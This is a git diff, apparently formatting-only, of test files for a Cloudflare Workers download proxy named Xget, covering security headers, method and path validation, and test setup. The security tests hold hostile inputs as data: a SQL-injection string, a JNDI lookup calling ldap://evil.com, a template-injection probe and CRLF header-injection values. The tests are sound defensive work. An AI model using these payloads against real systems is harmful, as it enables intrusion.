SELF.fetch('https://example.com/'); - + const hsts = response.headers.get('Strict-Transport-Security'); expect(hsts).toBeTruthy(); expect(hsts).toContain('max-age='); @@ -15,19 +15,19 @@ describe('Security Features', () => { it('should include X-Frame-Options header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('X-Frame-Options')).toBe('DENY'); }); it('should include X-XSS-Protection header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); }); it('should include Content-Security-Policy header', async () => { const response = await SELF.fetch('https://example.com/'); - + const csp = response.headers.get('Content-Security-Policy'); expect(csp).toBeTruthy(); expect(csp).toContain("default-src 'none'"); @@ -35,13 +35,13 @@ describe('Security Features', () => { it('should include Referrer-Policy header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); }); it('should include Permissions-Policy header', async () => { const response = await SELF.fetch('https://example.com/'); - + const permissionsPolicy = response.headers.get('Permissions-Policy'); expect(permissionsPolicy).toBeTruthy(); expect(permissionsPolicy).toContain('interest-cohort=()'); @@ -53,7 +53,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'PATCH' }); - + expect(response.status).toBe(405); }); @@ -61,7 +61,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); - + expect(response.status).toBe(405); }); @@ -69,7 +69,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'DELETE' }); - + expect(response.status).toBe(405); }); @@ -77,7 +77,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS' }); - + expect(response.status).toBe(405); }); }); @@ -101,7 +101,7 @@ describe('Security Features', () => { it('should reject extremely long paths', async () => { const longPath = '/gh/' + 'a'.repeat(3000); const response = await SELF.fetch(`https://example.com${longPath}`); - + expect(response.status).toBe(414); }); @@ -124,7 +124,7 @@ describe('Security Features', () => { it('should handle special characters in paths', async () => { const specialPaths = [ '/gh/user/repo', - '/gh/user/repo\'; DROP TABLE users; --', + "/gh/user/repo'; DROP TABLE users; --", '/gh/user/repo${jndi:ldap://evil.com}', '/gh/user/repo{{7*7}}' ]; @@ -165,7 +165,7 @@ describe('Security Features', () => { 'User-Agent': userAgent } }); - + // Should handle malicious user agents safely expect(response.status).not.toBe(500); } @@ -175,10 +175,10 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { headers: { 'X-Test': 'value\r\nX-Injected: malicious', - 'Referer': 'https://evil.com\r\nX-Injected: header' + Referer: 'https://evil.com\r\nX-Injected: header' } }); - + // Should not allow header injection expect(response.headers.get('X-Injected')).toBeNull(); }); @@ -186,12 +186,12 @@ describe('Security Features', () => { describe('Rate Limiting and DoS Protection', () => { it('should handle concurrent requests gracefully', async () => { - const requests = Array(10).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/small-file.txt') - ); - + const requests = Array(10) + .fill() + .map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt')); + const responses = await Promise.all(requests); - + // All requests should be handled without errors responses.forEach(response => { expect(response.status).not.toBe(500); @@ -202,7 +202,7 @@ describe('Security Features', () => { // This test would need to be implemented based on actual timeout behavior // For now, we just verify the request doesn't hang indefinitely const startTime = Date.now(); - + try { await SELF.fetch('https://example.com/gh/test/very-large-file', { signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout @@ -218,9 +218,9 @@ describe('Security Features', () => { describe('Error Information Disclosure', () => { it('should not expose internal error details', async () => { const response = await SELF.fetch('https://example.com/invalid-platform/test'); - + expect(response.status).toBe(400); - + const body = await response.text(); // Should not expose internal paths, stack traces, or sensitive info expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths @@ -231,7 +231,7 @@ describe('Security Features', () => { it('should provide generic error messages', async () => { const response = await SELF.fetch('https://example.com/invalid'); - + const body = await response.text(); // Error messages should be generic and safe expect(body.length).toBeLessThan(200); // Not too verbose @@ -245,12 +245,12 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { - 'Origin': 'https://evil.com', + Origin: 'https://evil.com', 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'X-Custom-Header' } }); - + // Should either reject OPTIONS or handle CORS securely if (response.status === 200) { const allowOrigin = response.headers.get('Access-Control-Allow-Origin'); @@ -264,7 +264,7 @@ describe('Security Features', () => { it('should not execute uploaded content', async () => { // Test that the service doesn't execute or interpret uploaded content const response = await SELF.fetch('https://example.com/gh/test/repo/script.js'); - + // Should serve content with appropriate headers, not execute it const contentType = response.headers.get('Content-Type'); if (contentType) { @@ -273,4 +273,4 @@ describe('Security Features', () => { } }); }); -}); \ No newline at end of file +}); diff --git a/test/setup.js b/test/setup.js index 9341a9a..b5c16d8 100644 --- a/test/setup.js +++ b/test/setup.js @@ -26,13 +26,13 @@ let testMetrics = { beforeAll(async () => { console.log('šŸš€ Starting Xget test suite...'); testStartTime = Date.now(); - + // Initialize test environment await setupTestEnvironment(); - + // Verify test dependencies await verifyTestDependencies(); - + console.log('āœ… Test environment initialized'); }); @@ -41,29 +41,29 @@ beforeAll(async () => { */ afterAll(async () => { const duration = Date.now() - testStartTime; - + console.log('\nšŸ“Š Test Suite Summary:'); console.log(` Duration: ${duration}ms`); console.log(` Total: ${testMetrics.totalTests}`); console.log(` Passed: ${testMetrics.passedTests}`); console.log(` Failed: ${testMetrics.failedTests}`); console.log(` Skipped: ${testMetrics.skippedTests}`); - + // Cleanup test environment await cleanupTestEnvironment(); - + console.log('šŸ Test suite completed'); }); /** * Setup before each test */ -beforeEach(async (context) => { +beforeEach(async context => { testMetrics.totalTests++; - + // Reset any global state resetGlobalState(); - + // Setup test-specific environment await setupTestCase(context); }); @@ -71,7 +71,7 @@ beforeEach(async (context) => { /** * Cleanup after each test */ -afterEach(async (context) => { +afterEach(async context => { // Update test metrics based on result if (context.meta?.result === 'pass') { testMetrics.passedTests++; @@ -80,7 +80,7 @@ afterEach(async (context) => { } else if (context.meta?.result === 'skip') { testMetrics.skippedTests++; } - + // Cleanup test-specific resources await cleanupTestCase(context); }); @@ -93,17 +93,17 @@ async function setupTestEnvironment() { if (typeof globalThis.fetch === 'undefined') { throw new Error('fetch is not available in test environment'); } - + // Setup global test utilities globalThis.TEST_CONFIG = TEST_CONFIG; - + // Initialize performance monitoring if (typeof performance === 'undefined') { globalThis.performance = { now: () => Date.now() }; } - + // Setup console overrides for testing setupConsoleOverrides(); } @@ -112,20 +112,14 @@ async function setupTestEnvironment() { * Verify test dependencies */ async function verifyTestDependencies() { - const requiredGlobals = [ - 'Request', - 'Response', - 'Headers', - 'URL', - 'URLSearchParams' - ]; - + const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams']; + for (const global of requiredGlobals) { if (typeof globalThis[global] === 'undefined') { throw new Error(`Required global ${global} is not available`); } } - + // Verify SELF is available for Cloudflare Workers testing try { const { SELF } = await import('cloudflare:test'); @@ -142,17 +136,17 @@ async function verifyTestDependencies() { */ function setupConsoleOverrides() { const originalConsole = { ...console }; - + // Store original console methods globalThis.originalConsole = originalConsole; - + // Override console methods for testing console.warn = (...args) => { if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { originalConsole.warn(...args); } }; - + console.log = (...args) => { if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { originalConsole.log(...args); @@ -168,7 +162,7 @@ function resetGlobalState() { if (globalThis.testCache) { globalThis.testCache.clear(); } - + // Reset performance counters if (globalThis.testPerformance) { globalThis.testPerformance.reset(); @@ -181,11 +175,11 @@ function resetGlobalState() { async function setupTestCase(context) { // Create test-specific cache globalThis.testCache = new Map(); - + // Setup test-specific performance monitoring globalThis.testPerformance = { marks: new Map(), - mark: (name) => { + mark: name => { globalThis.testPerformance.marks.set(name, performance.now()); }, measure: (name, startMark, endMark) => { @@ -197,7 +191,7 @@ async function setupTestCase(context) { globalThis.testPerformance.marks.clear(); } }; - + // Mark test start time globalThis.testPerformance.mark('test-start'); } @@ -208,22 +202,18 @@ async function setupTestCase(context) { async function cleanupTestCase(context) { // Mark test end time globalThis.testPerformance.mark('test-end'); - + // Log test performance if verbose if (process.env.VERBOSE_TESTS) { - const duration = globalThis.testPerformance.measure( - 'test-duration', - 'test-start', - 'test-end' - ); + const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end'); console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`); } - + // Cleanup test-specific resources if (globalThis.testCache) { globalThis.testCache.clear(); } - + if (globalThis.testPerformance) { globalThis.testPerformance.reset(); } @@ -238,7 +228,7 @@ async function cleanupTestEnvironment() { Object.assign(console, globalThis.originalConsole); delete globalThis.originalConsole; } - + // Cleanup global test utilities delete globalThis.TEST_CONFIG; delete globalThis.testCache; @@ -252,49 +242,49 @@ globalThis.testUtils = { /** * Create a test timeout */ - timeout: (ms) => new Promise((_, reject) => { - setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); - }), - + timeout: ms => + new Promise((_, reject) => { + setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); + }), + /** * Wait for a condition to be true */ waitFor: async (condition, timeout = 5000, interval = 100) => { const start = Date.now(); - + while (Date.now() - start < timeout) { if (await condition()) { return true; } await new Promise(resolve => setTimeout(resolve, interval)); } - + throw new Error(`Condition not met within ${timeout}ms`); }, - + /** * Retry a function with exponential backoff */ retry: async (fn, maxRetries = 3, baseDelay = 100) => { let lastError; - + for (let i = 0; i < maxRetries; i++) { try { return await fn(); } catch (error) { lastError = error; - + if (i < maxRetries - 1) { const delay = baseDelay * Math.pow(2, i); await new Promise(resolve => setTimeout(resolve, delay)); } } } - + throw lastError; } }; // Export test configuration for use in other files export { TEST_CONFIG, testMetrics }; - diff --git a/test/utils.test.js b/test/utils.test.js index 8dd4c76..1b3a181 100644 --- a/test/utils.test.js +++ b/test/utils.test.js @@ -5,35 +5,29 @@ import { describe, expect, it } from 'vitest'; function isGitRequest(request, url) { // Check for Git-specific endpoints - if (url.pathname.endsWith("/info/refs")) { + if (url.pathname.endsWith('/info/refs')) { return true; } - if ( - url.pathname.endsWith("/git-upload-pack") || - url.pathname.endsWith("/git-receive-pack") - ) { + if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) { return true; } // Check for Git user agents - const userAgent = request.headers.get("User-Agent") || ""; - if (userAgent.includes("git/") || userAgent.startsWith("git/")) { + const userAgent = request.headers.get('User-Agent') || ''; + if (userAgent.includes('git/') || userAgent.startsWith('git/')) { return true; } // Check for Git-specific query parameters - if (url.searchParams.has("service")) { - const service = url.searchParams.get("service"); - return service === "git-upload-pack" || service === "git-receive-pack"; + if (url.searchParams.has('service')) { + const service = url.searchParams.get('service'); + return service === 'git-upload-pack' || service === 'git-receive-pack'; } // Check for Git-specific content types - const contentType = request.headers.get("Content-Type") || ""; - if ( - contentType.includes("git-upload-pack") || - contentType.includes("git-receive-pack") - ) { + const contentType = request.headers.get('Content-Type') || ''; + if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) { return true; } @@ -43,40 +37,34 @@ function isGitRequest(request, url) { function validateRequest(request, url) { const CONFIG = { SECURITY: { - ALLOWED_METHODS: ["GET", "HEAD"], + ALLOWED_METHODS: ['GET', 'HEAD'], MAX_PATH_LENGTH: 2048 } }; // Allow POST method for Git operations const allowedMethods = isGitRequest(request, url) - ? ["GET", "HEAD", "POST"] + ? ['GET', 'HEAD', 'POST'] : CONFIG.SECURITY.ALLOWED_METHODS; if (!allowedMethods.includes(request.method)) { - return { valid: false, error: "Method not allowed", status: 405 }; + return { valid: false, error: 'Method not allowed', status: 405 }; } if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { - return { valid: false, error: "Path too long", status: 414 }; + return { valid: false, error: 'Path too long', status: 414 }; } return { valid: true }; } function addSecurityHeaders(headers) { - headers.set( - "Strict-Transport-Security", - "max-age=31536000; includeSubDomains; preload" - ); - headers.set("X-Frame-Options", "DENY"); - headers.set("X-XSS-Protection", "1; mode=block"); - headers.set("Referrer-Policy", "strict-origin-when-cross-origin"); - headers.set( - "Content-Security-Policy", - "default-src 'none'; img-src 'self'; script-src 'none'" - ); - headers.set("Permissions-Policy", "interest-cohort=()"); + headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); + headers.set('X-Frame-Options', 'DENY'); + headers.set('X-XSS-Protection', '1; mode=block'); + headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); + headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'"); + headers.set('Permissions-Policy', 'interest-cohort=()'); return headers; } @@ -85,21 +73,21 @@ describe('Utility Functions', () => { it('should identify Git info/refs requests', () => { const request = new Request('https://example.com/repo.git/info/refs'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git upload-pack requests', () => { const request = new Request('https://example.com/repo.git/git-upload-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git receive-pack requests', () => { const request = new Request('https://example.com/repo.git/git-receive-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); @@ -108,14 +96,14 @@ describe('Utility Functions', () => { headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git requests by service parameter', () => { const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); @@ -125,21 +113,21 @@ describe('Utility Functions', () => { headers: { 'Content-Type': 'application/x-git-upload-pack-request' } }); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should not identify regular file requests as Git', () => { const request = new Request('https://example.com/repo/file.txt'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(false); }); it('should handle edge cases gracefully', () => { const request = new Request('https://example.com/'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(false); }); }); @@ -148,7 +136,7 @@ describe('Utility Functions', () => { it('should allow GET requests', () => { const request = new Request('https://example.com/test', { method: 'GET' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -156,7 +144,7 @@ describe('Utility Functions', () => { it('should allow HEAD requests', () => { const request = new Request('https://example.com/test', { method: 'HEAD' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -164,7 +152,7 @@ describe('Utility Functions', () => { it('should reject PUT requests for non-Git operations', () => { const request = new Request('https://example.com/test', { method: 'PUT' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(false); expect(result.status).toBe(405); @@ -176,7 +164,7 @@ describe('Utility Functions', () => { headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -185,7 +173,7 @@ describe('Utility Functions', () => { const longPath = '/' + 'a'.repeat(3000); const request = new Request(`https://example.com${longPath}`); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(false); expect(result.status).toBe(414); @@ -195,7 +183,7 @@ describe('Utility Functions', () => { const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; const request = new Request(`https://example.com${normalPath}`); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -205,7 +193,7 @@ describe('Utility Functions', () => { it('should add all required security headers', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + expect(result.get('Strict-Transport-Security')).toBeTruthy(); expect(result.get('X-Frame-Options')).toBe('DENY'); expect(result.get('X-XSS-Protection')).toBe('1; mode=block'); @@ -217,7 +205,7 @@ describe('Utility Functions', () => { it('should set HSTS with proper directives', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + const hsts = result.get('Strict-Transport-Security'); expect(hsts).toContain('max-age=31536000'); expect(hsts).toContain('includeSubDomains'); @@ -227,7 +215,7 @@ describe('Utility Functions', () => { it('should set CSP with restrictive policy', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + const csp = result.get('Content-Security-Policy'); expect(csp).toContain("default-src 'none'"); expect(csp).toContain("script-src 'none'"); @@ -236,9 +224,9 @@ describe('Utility Functions', () => { it('should not overwrite existing headers', () => { const headers = new Headers(); headers.set('X-Custom-Header', 'custom-value'); - + const result = addSecurityHeaders(headers); - + expect(result.get('X-Custom-Header')).toBe('custom-value'); expect(result.get('X-Frame-Options')).toBe('DENY'); }); @@ -246,7 +234,7 @@ describe('Utility Functions', () => { it('should return the same Headers object', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + expect(result).toBe(headers); }); }); @@ -261,7 +249,7 @@ describe('Utility Functions', () => { testUrls.forEach(urlString => { expect(() => new URL(urlString)).not.toThrow(); - + const url = new URL(urlString); expect(url.protocol).toBe('https:'); expect(url.hostname).toBe('example.com'); @@ -271,7 +259,7 @@ describe('Utility Functions', () => { it('should handle query parameters correctly', () => { const url = new URL('https://example.com/gh/repo?ref=main&path=src'); - + expect(url.searchParams.get('ref')).toBe('main'); expect(url.searchParams.get('path')).toBe('src'); expect(url.searchParams.has('nonexistent')).toBe(false); @@ -279,7 +267,7 @@ describe('Utility Functions', () => { it('should handle URL fragments correctly', () => { const url = new URL('https://example.com/gh/repo/README.md#section'); - + expect(url.hash).toBe('#section'); expect(url.pathname).toBe('/gh/repo/README.md'); }); @@ -291,7 +279,7 @@ describe('Utility Functions', () => { method: 'GET', headers: { 'User-Agent': 'Xget/1.0', - 'Accept': 'application/json' + Accept: 'application/json' } }); @@ -348,4 +336,4 @@ describe('Utility Functions', () => { await expect(asyncFunction()).rejects.toThrow('Test error'); }); }); -}); \ No newline at end of file +});